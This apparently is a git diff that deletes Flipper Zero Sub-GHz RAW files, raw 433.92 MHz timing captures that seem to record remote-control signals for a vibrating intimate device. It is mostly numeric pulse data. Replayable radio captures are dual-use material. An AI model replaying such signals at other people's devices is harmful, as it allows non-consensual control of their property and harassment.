11937 -98 30327 -66 797 -68 7371 -66 12767 -64 27061 -132 24087 -100 27401 -64 9619 -98 197 -68 3223 -66 3087 -66 23119 -874 417 -844 401 -870 419 -858 411 -820 435 -862 415 -848 403 -848 1705 -416 417 -444 393 -424 411 -448 409 -434 387 -910 369 -458 387 -480 383 -452 403 -426 409 -450 383 -886 407 -848 421 -428 407 -446 413 -848 411 -846 425 -850 413 -450 403 -852 417 -450 403 -852 413 -410 435 -844 427 -426 441 -844 399 -852 415 -884 389 -876 407 -1014 257 -864 409 -916 341 -852 395 -1000 291 -844 1171 -68 467 -430 405 -418 415 -452 381 -472 383 -448 391 -884 389 -444 417 -414 427 -444 415 -414 411 -862 415 -420 409 -440 417 -448 387 -868 413 -450 403 -424 409 -876 397 -426 409 -876 399 -422 441 -846 401 -426 443 -846 403 -424 409 -878 395 -850 417 -854 423 -840 417 -850 439 -848 387 -884 389 -876 411 -854 413 -846 1677 -450 393 -450 411 -422 443 -416 409 -426 423 -874 381 -446 411 -442 383 -450 389 -450 409 -852 415 -452 399 -426 407 -416 445 -846 413 -418 415 -450 377 -902 385 -456 399 -862 417 -416 409 -854 415 -450 379 -878 413 -450 417 -850 409 -844 425 -856 409 -854 427 -838 419 -848 435 -842 389 -882 411 -842 441 -836 1701 -420 411 -416 441 -408 413 -442 421 -426 405 -874 397 -422 443 -412 411 -438 413 -444 417 -856 383 -448 395 -448 445 -388 443 -848 403 -454 413 -416 409 -850 447 -416 411 -852 413 -418 443 -846 413 -418 413 -850 439 -418 415 -848 405 -850 417 -884 387 -878 415 -856 409 -846 425 -858 411 -840 415 -884 399 -860 1673 -426 409 -448 413 -418 411 -442 415 -444 391 -872 387 -450 411 -424 411 -448 409 -420 413 -876 415 -428 411 -442 415 -452 401 -854 411 -412 419 -414 443 -848 403 -424 411 -878 403 -424 445 -844 399 -422 443 -846 401 -424 443 -842 397 -848 413 -864 409 -872 409 -870 407 -826 447 -840 403 -868 423 -822 413 -870 1697 -436 411 -414 413 -436 429 -412 445 -418 431 -836 447 -418 397 -440 415 -450 389 -450 409 -850 413 -452 403 -426 441 -382 445 -852 413 -418 445 -418 399 -868 419 -418 419 -862 411 -416 447 -844 411 -418 449 -816 439 -420 417 -119178 199 -364 465 -796 99 -700 593 -66 595 -134 97 -134 133 -66 2883 -100 1065 -98 14311 -68 19275 -66 7927 -66 8647 -66 2363 -66 2287 -66 25413 -98 7325 -66 1893 -98 9945 -132 5007 -100 4317 -100 499 -68 10473 -66 2921 -64 359 -66 1049 -66 8117 -16750 -RAW_Data: 99 -132 329 -1750 559 -332 163 -100 195 -66 21007 -64 8595 -68 20819 -64 525 -98 2183 -66 27841 -100 17965 -132 2023 -68 11399 -66 2221 -68 891 -66 3091 -100 23287 -200 8479 -100 2759 -66 595 -102 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_1.sub deleted file mode 100644 index 1f2b8ccaa..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 37679 36812 821 -100 6837 -64 7397 -100 11581 -100 4807 -66 1315 -132 133 -68 5097 -66 4167 -100 2065 -100 1481 -100 2645 -132 129 -162 1313 -100 3053 -98 12473 -68 4675 -102 1089 -98 793 -66 1161 -66 965 -134 1489 -100 8119 -66 10845 -134 1059 -66 1983 -98 1977 -166 363 -66 1259 -100 197 -66 3081 -132 2021 -66 1827 -132 3733 -100 2565 -228 2145 -66 2169 -100 1617 -98 2177 -64 1049 -134 567 -132 1355 -68 263 -68 1021 -100 263 -68 565 -66 1591 -68 165 -66 399 -66 295 -64 2479 -66 955 -132 2523 -132 831 -100 1225 -66 8513 -66 557 -66 699 -66 5057 -856 415 -876 397 -852 413 -870 381 -868 413 -866 411 -880 415 -834 1667 -450 403 -412 445 -412 415 -432 425 -440 383 -848 435 -432 419 -414 417 -440 393 -422 443 -416 417 -434 423 -838 417 -422 435 -434 387 -446 417 -852 425 -838 447 -422 395 -868 413 -450 395 -866 417 -418 439 -858 383 -444 409 -862 415 -842 405 -872 421 -852 381 -868 411 -872 409 -864 415 -842 435 -848 387 -884 1675 -430 381 -444 413 -442 427 -412 413 -446 411 -870 381 -446 411 -442 381 -872 429 -442 383 -450 393 -450 409 -852 415 -440 393 -422 443 -418 409 -852 415 -844 427 -422 443 -844 399 -424 443 -846 401 -424 445 -844 399 -422 445 -844 401 -850 415 -868 381 -868 413 -882 413 -832 413 -876 397 -852 413 -870 383 -880 1679 -420 411 -446 383 -448 427 -398 435 -418 415 -848 405 -454 413 -418 411 -866 417 -420 437 -428 387 -446 417 -854 425 -442 383 -448 425 -416 407 -848 417 -854 427 -440 383 -882 415 -410 423 -874 379 -448 395 -868 415 -454 399 -862 415 -842 405 -872 421 -858 381 -884 413 -840 413 -874 399 -836 453 -852 385 -876 1681 -420 415 -416 417 -432 425 -440 413 -418 395 -852 427 -408 445 -410 441 -844 421 -428 407 -416 445 -420 427 -842 417 -420 439 -432 387 -446 415 -852 395 -866 419 -418 439 -826 415 -440 419 -858 415 -418 411 -876 413 -416 415 -844 443 -846 419 -854 381 -872 411 -870 407 -866 419 -846 397 -846 417 -862 411 -848 1683 -450 411 -442 383 -450 427 -412 411 -448 409 -832 451 -414 413 -422 409 -878 411 -424 425 -410 415 -452 423 -826 413 -450 425 -398 437 -414 447 -846 411 -846 423 -426 441 -808 425 -444 415 -844 441 -418 417 -844 435 -388 445 -846 401 -848 415 -854 421 -840 449 -844 411 -842 429 -852 413 -856 393 -868 419 -848 1695 -422 421 -418 409 -422 443 -384 445 -422 441 -846 411 -420 441 -416 413 -868 409 -418 417 -420 431 -426 441 -840 399 -426 -RAW_Data: 443 -414 407 -436 415 -848 439 -840 419 -418 409 -852 417 -416 445 -846 411 -416 447 -844 415 -416 447 -130756 295 -364 299 -200 131 -234 133 -134 397 -298 65 -198 163 -98 131 -164 5421 -196 1913 -66 1495 -98 297 -100 14219 -134 795 -66 3009 -66 465 -66 6785 -66 7983 -66 11359 -130 1057 -66 365 -66 4843 -98 8475 -130 1015 -64 1515 -66 391 -66 1529 -66 399 -66 3971 -100 1479 -66 823 -100 2409 -66 165 -66 1675 -100 813 -64 1709 -66 2013 -64 3813 -98 133 -98 167 -100 15385 -100 4481 -98 1083 -66 7253 -66 1409 -100 5123 -68 995 -98 2869 -66 827 -134 3359 -68 661 -134 4567 -66 2523 -132 3531 -66 6179 -100 1031 -66 263 -98 1049 -66 3097 -100 2231 -68 1163 -66 595 -66 797 -66 331 -100 3571 -100 8363 -196 3095 -66 5959 -100 333 -66 1919 -66 2731 -66 665 -134 6645 -100 2825 -68 2059 -132 1459 -66 1263 -66 529 -68 10195 -66 1413 -66 1587 -66 331 -98 393 -66 1147 -66 2135 -132 1935 -66 9257 -98 11381 -66 6967 -66 923 -66 2795 -166 3721 -66 9375 -68 265 -66 3587 -66 12437 -66 2367 -100 10427 -98 5457 -134 3567 -64 3369 -98 1345 -198 863 -166 8813 -66 4055 -66 2151 -66 131 -98 7047 -66 6841 -66 4051 -66 727 -132 693 -66 1535 -68 789 -132 1551 -66 1763 -66 329 -64 1461 -202 1287 -66 4075 -66 4579 -100 1785 -66 1555 -66 1613 -98 6821 -100 799 -132 2737 -66 325 -198 3837 -98 3607 -66 851 -134 4513 -164 3389 -68 729 -166 8131 -98 593 -64 1015 -66 597 -66 7727 -166 599 -100 197 -68 5833 -66 2309 -132 12509 -66 1789 -66 3963 -164 2647 -66 6859 -66 4195 -100 2591 -100 8619 -100 761 -66 3925 -98 1557 -98 2621 -100 7079 -66 623 -130 557 -130 259 -64 11511 -166 2311 -66 1157 -98 5639 -66 99 -98 2753 -66 1791 -134 299 -68 1621 -100 535 -66 7127 -98 1189 -266 5067 -66 3583 -66 5203 -262 789 -66 851 -66 1183 -64 989 -98 2301 -98 4337 -68 6399 -68 3855 -66 655 -66 7649 -100 697 -98 197 -200 5199 -66 1127 -132 67 -164 861 -100 9935 -66 3487 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_2.sub deleted file mode 100644 index 09b769475..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 6401 5567 1149 -100 1947 -98 129 -100 2145 -98 427 -64 14575 -66 2143 -66 4977 -100 11019 -100 851 -98 15727 -100 4261 -100 129 -66 827 -132 997 -136 829 -98 3485 -66 695 -66 265 -98 11755 -164 391 -66 5527 -66 1745 -98 67 -98 1283 -66 2157 -100 197 -66 3557 -66 1445 -98 3551 -66 1185 -98 333 -132 3055 -98 3833 -66 131 -66 4731 -100 20147 -100 2543 -66 229 -64 1261 -66 2201 -100 765 -198 3779 -66 4257 -66 2857 -98 9153 -100 499 -68 6881 -98 593 -66 3283 -66 925 -100 1593 -132 3097 -100 4025 -132 1975 -66 4899 -100 3067 -66 1707 -66 437 -132 391 -100 1457 -66 1559 -68 4543 -102 2599 -100 815 -98 163 -98 6951 -198 4389 -132 3733 -132 9363 -66 499 -66 735 -166 4361 -66 1493 -66 733 -66 6123 -66 2351 -98 2089 -64 489 -98 1403 -870 379 -864 417 -848 405 -848 451 -850 419 -814 445 -850 411 -878 1681 -418 389 -452 403 -426 441 -414 413 -422 411 -878 417 -430 397 -438 415 -848 405 -458 387 -446 415 -454 401 -850 415 -450 403 -426 409 -448 419 -852 409 -848 425 -426 407 -874 397 -428 409 -876 397 -424 443 -842 399 -424 445 -842 395 -880 417 -852 387 -872 409 -862 417 -844 433 -848 385 -852 421 -878 411 -848 1699 -398 435 -416 447 -414 409 -446 413 -408 441 -844 419 -412 445 -414 407 -870 417 -418 441 -394 421 -874 411 -416 427 -440 381 -452 427 -818 421 -448 413 -856 427 -408 417 -848 437 -428 415 -846 409 -440 417 -842 439 -412 415 -842 409 -870 419 -848 441 -816 451 -818 423 -874 411 -844 415 -842 425 -836 445 -836 1701 -420 413 -420 427 -398 437 -414 451 -388 441 -840 421 -418 437 -434 417 -842 409 -434 415 -418 417 -854 425 -412 413 -448 417 -426 441 -808 429 -426 411 -842 429 -424 447 -842 433 -388 445 -844 403 -422 447 -842 433 -388 445 -844 403 -850 417 -854 421 -876 413 -842 415 -842 425 -836 449 -852 417 -848 419 -820 1701 -452 405 -428 443 -382 451 -428 399 -438 417 -848 409 -422 419 -444 415 -856 415 -414 423 -444 413 -856 415 -410 441 -414 411 -440 425 -838 423 -430 405 -838 427 -424 447 -844 429 -410 415 -844 439 -410 413 -842 441 -410 445 -844 415 -842 427 -854 411 -822 433 -860 415 -840 439 -840 423 -854 411 -870 385 -872 1693 -420 395 -438 443 -414 419 -426 443 -382 447 -850 415 -416 419 -418 453 -832 417 -416 453 -420 407 -842 455 -386 437 -432 417 -418 415 -866 407 -420 451 -822 421 -440 415 -834 441 -408 435 -844 425 -426 441 -842 399 -426 445 -808 465 -814 447 -834 -RAW_Data: 413 -856 427 -840 421 -846 437 -812 417 -854 423 -842 455 -848 1699 -418 403 -426 441 -382 453 -390 453 -410 425 -836 421 -418 439 -412 445 -840 409 -444 413 -414 423 -850 413 -452 403 -456 417 -416 453 -828 415 -418 415 -850 439 -418 417 -844 443 -418 417 -846 439 -418 417 -846 435 -388 445 -124324 99 -368 99 -962 301 -266 99 -266 231 -494 133 -132 667 -100 4361 -96 849 -66 3025 -98 131 -96 1923 -66 2161 -100 199 -66 199 -200 527 -98 5195 -66 2801 -66 1355 -100 5799 -66 9037 -134 2057 -100 535 -134 235 -98 1391 -66 1707 -100 7869 -68 5279 -132 933 -66 3819 -66 333 -100 1425 -66 995 -234 697 -66 857 -98 163 -66 5129 -100 161 -98 951 -132 6205 -132 163 -98 6197 -66 1065 -66 731 -66 597 -66 7705 -132 4177 -100 4901 -68 2517 -66 7811 -66 2325 -98 4011 -66 3937 -200 3151 -100 299 -102 9127 -100 1673 -100 1093 -66 623 -166 1415 -98 1871 -98 7059 -66 2885 -64 2155 -68 1097 -166 3333 -66 1931 -196 1327 -66 3291 -134 3043 -66 9113 -66 4857 -134 497 -100 2209 -100 133 -132 861 -100 1163 -66 735 -66 1387 -132 1857 -66 131 -98 397 -100 6611 -68 4063 -66 293 -64 5007 -132 13221 -66 1777 -98 3127 -100 8611 -98 2115 -66 2951 -166 829 -100 7811 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_3.sub deleted file mode 100644 index 489c592e8..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -98 1085 -64 4633 -606 4127 -100 14057 -68 499 -66 3703 -66 401 -66 2141 -166 1541 -66 12721 -134 835 -100 2653 -66 1691 -134 2619 -66 1469 -100 18993 -66 14411 -66 11975 -66 1615 -68 729 -100 167 -100 25155 -100 5997 -68 2917 -100 2011 -66 689 -100 12035 -66 6785 -200 1891 -66 10389 -66 5355 -134 1159 -66 2823 -134 6705 -66 4069 -68 1063 -66 561 -166 1861 -100 2395 -66 885 -132 1393 -166 601 -66 6765 -66 1401 -66 1629 -66 2609 -66 165 -98 6879 -132 4709 -66 6735 -844 417 -848 401 -852 417 -852 427 -840 419 -848 439 -846 423 -858 1669 -452 381 -450 427 -398 435 -418 447 -388 435 -864 417 -418 417 -434 427 -838 417 -418 437 -428 385 -876 415 -434 425 -440 383 -448 395 -886 387 -446 415 -852 395 -468 381 -884 397 -432 415 -846 449 -404 425 -838 413 -448 397 -864 413 -840 439 -840 427 -856 413 -854 395 -866 415 -848 403 -850 415 -852 423 -838 1701 -418 415 -454 401 -436 417 -414 419 -448 405 -852 415 -452 401 -430 407 -878 399 -426 409 -444 409 -850 413 -880 399 -426 411 -446 413 -852 415 -844 427 -850 415 -450 403 -854 411 -450 405 -852 413 -408 455 -838 423 -416 413 -850 415 -852 423 -874 411 -844 411 -846 423 -840 415 -868 383 -850 449 -834 407 -840 1687 -448 419 -450 377 -444 413 -446 415 -402 443 -842 409 -434 411 -446 419 -826 443 -412 419 -426 439 -842 433 -838 387 -450 411 -424 443 -844 399 -880 385 -852 425 -444 415 -840 423 -444 381 -886 397 -432 415 -846 405 -460 389 -874 409 -846 411 -844 427 -852 415 -852 427 -840 415 -848 437 -848 385 -886 389 -872 1665 -446 409 -456 389 -442 383 -448 395 -448 411 -852 417 -450 399 -426 407 -872 401 -456 413 -414 409 -868 413 -842 437 -412 411 -450 399 -864 413 -876 407 -838 419 -412 445 -842 401 -424 445 -846 397 -424 443 -846 435 -420 413 -846 403 -882 385 -868 415 -868 413 -854 397 -866 417 -848 435 -848 387 -862 417 -848 1709 -414 411 -436 417 -446 383 -450 409 -424 409 -876 399 -422 443 -384 451 -856 413 -418 413 -446 411 -842 419 -848 437 -420 415 -416 417 -868 411 -848 423 -852 413 -442 407 -874 397 -426 411 -880 401 -424 445 -844 397 -424 441 -842 399 -870 421 -852 381 -886 399 -864 417 -846 433 -848 417 -852 387 -874 411 -848 1699 -416 407 -424 441 -414 413 -422 411 -448 415 -856 427 -408 415 -450 423 -850 387 -446 413 -420 429 -818 421 -876 385 -454 409 -444 381 -870 409 -878 411 -848 415 -418 415 -880 413 -418 417 -848 441 -418 415 -RAW_Data: -846 441 -420 415 -123402 97 -1052 721 -66 99 -328 2413 -66 2433 -98 14411 -98 1515 -98 1127 -100 6035 -66 4219 -66 2423 -66 3547 -66 2913 -66 1095 -132 1415 -98 5693 -66 4241 -66 695 -68 7309 -66 2491 -66 889 -100 3417 -98 19791 -232 4159 -66 9395 -100 9005 -98 1771 -66 1763 -100 10393 -100 3799 -130 1121 -66 1973 -132 5117 -68 5903 -166 1285 -132 1283 -66 1893 -66 931 -132 1527 -100 933 -198 759 -98 1065 -98 361 -100 2117 -132 1885 -68 3693 -68 1685 -68 863 -66 4157 -64 991 -166 1403 -66 395 -66 987 -66 97 -66 163 -198 2469 -100 229 -262 3937 -100 1729 -332 1287 -66 3589 -132 19511 -100 697 -166 3453 -100 11977 -66 1053 -66 297 -98 6033 -132 1721 -198 3195 -100 4123 -100 4875 -66 755 -134 11433 -134 995 -66 2291 -166 897 -100 1733 -100 597 -68 495 -66 7595 -66 5295 -68 12019 -98 697 -100 523 -66 633 -98 3959 -66 5567 -66 791 -68 1957 -68 829 -66 1063 -96 689 -66 15955 -66 2275 -66 719 -66 523 -164 2503 -66 11529 -66 4557 -134 459 -66 1723 -66 1857 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_4.sub deleted file mode 100644 index d55b553b4..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_09_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -132 1195 -132 67 -100 933 -68 331 -66 1549 -98 625 -64 553 -98 1081 2397 5713 -100 2659 -68 16381 -66 5493 -66 265 -66 531 -100 1055 -132 559 -100 6427 -66 1955 -98 625 -130 3023 -100 491 -100 1717 -66 231 -130 983 -66 985 -66 1681 -66 163 -230 427 -66 7667 -64 1619 -100 1927 -134 2479 -100 1585 -98 129 -66 1379 -296 2005 -132 2673 -168 5213 -100 1155 -232 531 -132 3269 -64 2763 -66 197 -98 3903 -100 1563 -134 1259 -66 6695 -100 925 -100 4133 -68 7155 -166 1149 -98 1701 -98 957 -66 99 -66 863 -66 4065 -66 99 -66 7745 -66 12349 -100 5297 -66 229 -66 1259 -66 5423 -66 697 -98 5595 -98 753 -66 1519 -66 3003 -66 6273 -98 1249 -66 165 -66 2183 -166 5321 -66 4823 -66 12435 -66 9439 -66 8611 -66 165 -68 3015 -98 5327 -166 1679 -68 2781 -66 1873 -100 1385 -98 2987 -100 889 -68 3937 -100 1923 -98 329 -66 5157 -66 3625 -100 6237 -132 2727 -68 8999 -98 395 -98 655 -132 10285 -66 1343 -98 1281 -98 5855 -132 133 -132 1565 -166 4881 -66 467 -66 6937 -130 2897 -196 2249 -66 199 -66 3697 -68 433 -134 567 -844 427 -854 383 -884 397 -864 415 -848 405 -852 415 -852 425 -870 1667 -416 445 -416 411 -442 409 -410 435 -412 445 -846 409 -410 413 -446 413 -870 409 -430 411 -446 383 -860 411 -882 399 -432 417 -448 385 -852 425 -874 419 -852 411 -420 415 -848 437 -418 415 -846 439 -418 415 -846 407 -452 415 -846 435 -850 383 -854 423 -840 417 -850 435 -838 387 -886 389 -874 409 -850 445 -842 697 -240 733 -452 387 -442 343 -508 417 -416 409 -436 355 -920 427 -408 415 -452 393 -850 425 -444 383 -866 409 -450 389 -450 409 -426 407 -878 397 -424 441 -416 411 -850 415 -418 417 -882 411 -418 417 -846 437 -418 415 -844 439 -420 415 -844 435 -844 387 -852 425 -870 409 -826 413 -876 399 -854 413 -852 425 -838 417 -850 1695 -452 401 -428 407 -418 443 -416 395 -472 381 -848 437 -430 387 -446 415 -870 417 -416 417 -852 423 -442 383 -448 391 -450 411 -850 415 -442 411 -448 409 -864 415 -416 411 -852 413 -448 413 -844 415 -418 449 -852 409 -418 415 -850 441 -848 417 -822 413 -882 397 -864 417 -848 405 -882 417 -852 387 -870 409 -868 1679 -426 409 -448 411 -418 411 -446 415 -408 441 -844 423 -412 445 -414 409 -866 417 -418 409 -852 415 -418 449 -422 399 -432 415 -846 419 -432 397 -440 417 -850 405 -456 419 -846 407 -456 387 -874 419 -424 411 -872 407 -430 387 -872 407 -864 419 -844 403 -848 415 -886 389 -870 409 -RAW_Data: -866 417 -846 395 -880 415 -836 1703 -418 415 -410 423 -424 443 -414 409 -440 417 -848 451 -402 397 -434 415 -886 399 -430 385 -878 417 -428 397 -440 417 -416 419 -884 379 -446 413 -436 429 -838 429 -428 407 -846 427 -428 407 -874 399 -426 407 -872 397 -422 445 -844 435 -846 417 -836 413 -868 411 -840 447 -850 417 -846 403 -848 415 -852 449 -812 1703 -428 411 -416 445 -414 411 -446 415 -412 457 -846 383 -442 411 -416 439 -830 451 -416 407 -854 449 -382 445 -418 411 -446 415 -856 399 -432 415 -450 385 -854 425 -444 413 -854 397 -438 415 -850 417 -434 423 -840 447 -416 415 -119024 99 -860 97 -164 295 -66 851 -262 10461 -66 6537 -68 1781 -98 3549 -100 795 -66 1445 -66 2961 -100 2795 -198 97 -132 2005 -66 1289 -134 167 -66 10913 -68 4577 -98 6227 -68 497 -66 4947 -100 2455 -66 1455 -98 1227 -68 1491 -164 5401 -166 527 -64 1607 -130 6765 -134 1025 -100 163 -166 4081 -100 5543 -100 2619 -66 4873 -64 719 -130 22877 -168 5647 -132 1711 -66 1531 -66 2347 -68 263 -66 2447 -64 4339 -98 3109 -100 14493 -66 365 -64 3173 -166 2875 -134 303 -68 3197 -66 11855 -98 631 -66 863 -66 6305 -66 4035 -66 13005 -100 7239 -66 3239 -100 497 -100 3019 -66 1607 -66 1545 -66 7275 -66 99 -66 2255 -102 2417 -68 2287 -100 3067 -66 15615 -66 1873 -98 5641 -100 2355 -66 1913 -66 9619 -100 2117 -98 5123 -64 495 -100 465 -166 8519 -168 795 -100 9319 -100 1813 -130 1025 -66 4515 -66 4213 -66 3315 -132 655 -100 1193 -66 2827 -66 1119 -66 4111 -66 4139 -64 1549 -66 15459 -66 1813 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_1.sub deleted file mode 100644 index 95684debc..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2725 -68 5007 1917 4567 -66 789 -100 2521 -66 2443 -66 11211 -100 1657 -132 1327 -102 3749 -96 5637 -98 197 -130 423 -98 195 -98 5181 -98 1055 -66 7541 -64 1091 -66 3805 -100 1419 -66 499 -66 5159 -100 627 -66 233 -66 2213 -66 2729 -68 4177 -266 3067 -100 1675 -164 427 -164 165 -64 1379 -66 4223 -232 7229 -66 9583 -100 10989 -66 13625 -66 2669 -66 7029 -100 2117 -68 991 -66 233 -68 1763 -68 1131 -66 5589 -66 7809 -66 1123 -132 1419 -100 2057 -66 5477 -66 371 -132 1527 -100 7615 -66 1643 -66 1877 -66 2899 -68 4327 -64 2169 -68 1781 -132 1389 -66 3491 -66 951 -132 2255 -66 1589 -66 2949 -98 9001 -230 3185 -66 7081 -166 231 -68 3219 -100 2241 -68 727 -68 721 -98 11603 -858 399 -866 421 -848 435 -836 421 -856 409 -824 435 -864 421 -844 1695 -410 455 -388 443 -416 439 -410 413 -452 385 -862 409 -454 421 -418 409 -852 413 -420 433 -400 439 -418 451 -818 437 -418 415 -418 437 -428 415 -848 409 -854 417 -416 445 -844 415 -416 417 -846 441 -418 417 -846 441 -388 447 -844 437 -844 385 -856 451 -816 453 -842 401 -848 415 -856 423 -838 449 -846 411 -844 1683 -422 417 -454 403 -426 441 -382 445 -420 429 -836 421 -416 441 -840 419 -418 439 -408 413 -452 389 -452 407 -854 413 -442 409 -416 447 -414 409 -844 447 -848 413 -418 417 -848 437 -388 445 -844 441 -386 447 -846 439 -388 447 -844 433 -848 417 -852 385 -878 407 -870 419 -844 431 -814 415 -854 423 -838 441 -858 1705 -418 415 -418 451 -400 409 -446 415 -420 431 -822 441 -442 397 -850 415 -452 405 -426 441 -384 449 -390 451 -842 415 -416 417 -454 417 -412 421 -838 415 -842 445 -388 447 -848 435 -410 413 -842 439 -410 413 -876 411 -410 413 -842 441 -838 425 -824 443 -856 399 -862 417 -840 437 -840 425 -852 419 -842 409 -848 1707 -416 413 -426 443 -414 411 -422 443 -416 415 -836 415 -450 389 -854 423 -446 413 -418 429 -398 435 -416 447 -844 413 -416 447 -418 397 -438 415 -848 409 -866 419 -418 437 -858 417 -416 413 -848 413 -418 415 -848 439 -420 415 -846 439 -814 449 -854 387 -870 409 -866 419 -846 401 -850 415 -854 425 -838 415 -878 1663 -452 407 -428 409 -416 445 -416 395 -438 413 -850 435 -434 417 -842 409 -420 411 -446 415 -442 411 -414 445 -848 411 -418 415 -420 439 -412 413 -872 409 -842 419 -418 439 -822 451 -416 409 -852 449 -384 437 -868 417 -416 409 -850 449 -844 433 -814 415 -854 423 -876 419 -816 441 -844 421 -824 411 -884 399 -860 -RAW_Data: 1709 -388 445 -416 411 -424 423 -446 411 -420 429 -852 411 -410 459 -844 385 -452 409 -426 409 -446 419 -426 397 -864 419 -454 415 -408 423 -442 383 -886 399 -864 419 -416 441 -824 417 -448 411 -850 411 -416 445 -848 413 -418 445 -126558 99 -98 131 -792 131 -398 197 -100 265 -430 329 -332 133 -132 5473 -66 2881 -66 1417 -66 2491 -134 597 -66 131 -198 6909 -166 1151 -260 1521 -68 4399 -66 7045 -132 5779 -66 1653 -66 1297 -66 6013 -164 9217 -134 433 -66 1727 -202 4789 -66 5475 -100 2651 -66 503 -132 165 -66 2941 -98 1161 -100 65 -166 197 -100 2687 -66 361 -98 1841 -132 4535 -100 5535 -66 1061 -96 4637 -66 367 -100 3885 -66 1231 -66 3297 -130 1153 -66 2995 -66 563 -100 763 -66 1425 -100 6093 -132 7449 -66 9311 -98 1455 -66 1095 -64 231 -68 4613 -98 235 -66 2759 -66 99 -100 231 -100 297 -100 2825 -66 1697 -100 4541 -100 2391 -66 3849 -66 1753 -66 229 -66 1949 -100 7605 -198 393 -98 393 -66 3937 -130 1741 -100 1607 -266 1627 -198 3711 -132 9255 -68 1131 -66 2023 -66 2785 -66 3589 -100 2883 -66 2243 -66 1531 -68 3033 -66 5173 -64 459 -262 6771 -66 4709 -100 6855 -66 1095 -68 1787 -66 393 -164 9373 -100 8125 -100 14543 -134 465 -100 329 -100 2761 -66 199 -100 1891 -66 4607 -66 3021 -100 5249 -66 2031 -66 6981 -100 299 -132 12285 -134 4003 -66 1583 -132 4315 -100 3289 -66 1745 -66 3605 -68 2739 -66 5085 -100 165 -98 1127 -98 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_2.sub deleted file mode 100644 index 71d08d4a0..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_10_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 6167 -100 953 -100 3835 2939 4907 -68 7769 -66 2291 -66 10187 -66 2241 -68 929 -68 859 -100 1351 -66 7249 -66 4155 -66 1291 -68 11183 -132 3255 -100 5043 -68 995 -166 6699 -66 12475 -66 2949 -66 2389 -132 7835 -66 6283 -66 6473 -66 10893 -98 3715 -100 365 -64 1441 -66 1675 -100 3053 -66 2087 -64 7507 -98 1385 -132 3725 -66 2257 -846 415 -842 423 -852 411 -856 397 -868 419 -848 441 -812 449 -824 1701 -414 415 -418 453 -416 407 -424 443 -412 419 -860 413 -418 415 -850 443 -418 417 -416 417 -434 395 -468 381 -884 397 -432 415 -446 419 -416 411 -850 413 -868 409 -410 439 -846 419 -398 435 -842 427 -428 409 -846 423 -426 441 -842 433 -812 417 -852 421 -876 419 -816 441 -844 425 -850 419 -842 409 -836 451 -842 1695 -410 457 -388 443 -414 409 -426 423 -442 411 -838 423 -442 413 -836 409 -452 425 -416 407 -424 443 -844 435 -388 443 -416 419 -434 427 -838 419 -418 407 -850 449 -414 407 -872 419 -416 411 -852 417 -448 409 -864 419 -416 417 -858 413 -842 425 -854 409 -836 415 -848 415 -868 413 -846 423 -852 415 -854 397 -866 1669 -422 441 -416 407 -458 387 -446 415 -412 425 -850 415 -440 409 -842 423 -444 413 -416 409 -436 415 -880 401 -428 389 -446 415 -450 401 -854 413 -412 423 -880 383 -444 409 -880 403 -424 445 -846 403 -454 413 -846 433 -390 443 -848 401 -884 385 -860 411 -884 399 -860 417 -846 401 -884 385 -886 389 -876 409 -846 1671 -448 409 -422 443 -416 417 -430 411 -444 381 -884 397 -432 415 -848 407 -460 389 -446 413 -418 429 -850 387 -446 415 -444 395 -424 445 -846 403 -424 445 -846 399 -422 443 -846 397 -444 413 -842 435 -412 411 -880 375 -442 413 